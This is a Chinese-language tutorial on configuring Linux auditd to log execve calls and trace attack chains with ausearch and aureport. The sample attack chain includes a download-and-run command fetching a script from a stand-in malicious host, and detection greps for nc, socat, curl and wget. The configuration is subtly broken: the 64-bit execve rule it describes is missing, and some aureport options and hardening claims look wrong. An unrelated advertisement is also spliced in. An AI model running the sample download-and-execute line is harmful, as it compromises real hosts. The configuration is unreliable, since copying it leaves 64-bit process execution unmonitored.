auditd捕获execve系统调用是还原攻击行为链最有效方式,需配置32/64位规则、监控关键bin目录、启用ENRICHED日志格式记录参数,并用ausearch/aureport串联父子进程溯源。

在Linux中,利用auditd捕获所有execve系统调用,是还原攻击者进程行为链条(如横向移动、提权、恶意载荷执行)最有效且低侵入的方式之一。关键在于精准过滤、避免日志爆炸、保留足够上下文(如父进程、命令行参数、可执行文件路径),并确保日志持久化与防篡改。
配置audit规则:聚焦execve并携带关键字段
直接监听execve系统调用(syscall 59 on x86_64),同时记录调用者UID、PID、PPID、命令行参数(argc)、可执行文件路径及inode信息:
- 添加规则到
/etc/audit/rules.d/execve.rules:
-a always,exit -F arch=b32 -S execve -k execve
-w /usr/bin/ -p x -k execve_bin
-w /bin/ -p x -k execve_bin
-w /sbin/ -p x -k execve_bin
-w /usr/sbin/ -p x -k execve_bin
说明:
• 前两条规则捕获所有execve调用(含32/64位兼容);
• 后四条对常见二进制目录加写入+执行监控(-p x),触发时自动关联execve事件,增强溯源可信度;
• -k execve为所有相关事件打统一标签,便于后续ausearch或audispd过滤。
增强上下文:启用命令行参数和环境变量(谨慎启用)
默认auditd不记录argv完整内容(因长度和性能限制),需显式开启:
Linux AI 服务器 — 将 Linux 服务器转换为本地 AI 推理集群。使用 systemd、NVIDIA CUDA 实现无头 Linux AI,零 GUI 开销。
- 编辑
/etc/audit/auditd.conf,设置:
log_format = ENRICHED
flush = incremental_async
freq = 20 - 重启服务:
sudo systemctl restart auditd - 验证是否生效:
sudo ausearch -m execve -i -ts recent | grep "argc=",应可见argc=及部分argv[]字段
注意:完整记录argv可能暴露敏感参数(如密码明文),生产环境建议结合augenrules --load后用ausearch -i -m execve --start today | grep -E "(curl|wget|bash|nc|python)"定向分析可疑调用链。
构建攻击链条:用ausearch + aureport还原执行流
单条execve日志价值有限,需按时间+进程关系串联。典型攻击链还原步骤:
- 定位异常起点(如非交互式用户执行网络工具):
sudo ausearch -m execve -ui 1000 -i --start today | grep -E "(nc|socat|curl|wget|sh -i)" - 回溯该进程的父进程(PPID):
sudo ausearch -m execve -p <em>PPID值</em> -i --start 24h - 生成带父子关系的树状报告:
sudo aureport -f -m execve --start today --key execve --tree - 导出全量结构化数据供SIEM分析:
sudo ausearch -m execve -i --start 7d --format csv > execve_raw.csv
示例链条还原:
→ PID 1234(bash)执行curl -s http://mal.io/sh | sh
→ 触发子进程 PID 1235(sh)执行下载脚本
→ PID 1235 又调用python3 /tmp/.a.py
→ 最终 PID 1236 执行sshd -o PermitRootLogin=yes
每步均有ppid=、pid=、exe="/path"、cmdline=字段支撑。
加固与避坑:防止绕过与日志丢失
攻击者常尝试绕过audit日志,需针对性防护:
- 禁用
ptrace和unshare等逃逸手段:echo "kernel.yama.ptrace_scope = 2" >> /etc/sysctl.conf && sysctl -p - 确保audit规则开机加载:
sudo augenrules --load(而非仅auditctl -a ...临时添加) - 日志轮转与远程备份:
配置/etc/audit/auditd.conf中max_log_file(≥100M)、num_logs(≥10)、action_mail_acct(告警);
用audispd插件将日志实时转发至Syslog服务器或ELK - 警惕无文件执行:
execve仍会记录(如bash -c "base64 -d|sh"),但exe显示为/bin/bash,需结合cmdline和cwd字段判断真实意图

















